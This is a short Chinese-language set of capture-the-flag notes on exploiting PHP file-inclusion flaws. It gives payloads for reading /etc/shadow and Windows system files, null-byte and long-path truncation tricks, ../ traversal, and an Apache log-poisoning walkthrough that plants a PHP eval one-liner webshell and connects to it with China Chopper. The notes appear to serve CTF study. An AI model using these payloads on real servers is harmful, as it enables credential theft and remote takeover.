文件包含漏洞解题思路:
1、观察提示,是否为系统文件,如win.ini在windows系统的c:/windows/win.ini中,boot.ini在windows系统的c:/boot.ini中
linux里有:/etc/shadow /etc/passwd
2、带入文件,如果有后缀被自动加上,如果报错,尝试加入%00进行截断,如果报错,尝试加入绝对路径,比如c:/windows/win.ini%00,如果报错,尝试使用.....达到256个字符进行截断,尝试加入../,可以多加几个,因为在有的包含中代码中会加上一个路径前缀,所以我们必须通过../来规避这个前缀,一般3-5个左右,一般就是%00截断、.....256字符截断、绝对路径、相对路径等挨个尝试;
注意:
在Windows系统下,某些PHP版本的文件系统模块对于文件名后面所跟的“.”或者“./”或者“\”或者“/”或者“.”都会自动过滤而正常读写文件,或者通过增加%00进行截断,如Filename%00.php:
Filename///...(252个/)…/.php
Filename\...(252个)….php
Filename./././...(126个./)…./.php
Filename......(126个)…..php
Filename……(252个.)…..…...php
在Linux系统下,某些PHP版本的文件系统模块对于文件名后面所跟的“/.”或者“/”都会自动过滤而正常读写文件。据此可构造恶意的文件路径,又因为Linux下文件路径最大长度为4096,因此只需构造如下字符串即可路径截断:
Filename///...(4090个/)…/.php
Filename/././....(2045个/.)…/..php
3、apache的日志包含,
1)首先通过post或者get访问Apache服务器
http://192.168.31.14/demo1.php?name=<?php @eval($_POST['xyfy']);?>
2)通过burpsuite进行抓包,抓到包之后把包里被URLencode的替换掉,日志文件里包含一句话木马
3)文件包含Apache日志文件
http://192.168.31.14/demo1.php?name=D:\software\wamp\logs\access.log
4)使用菜刀链接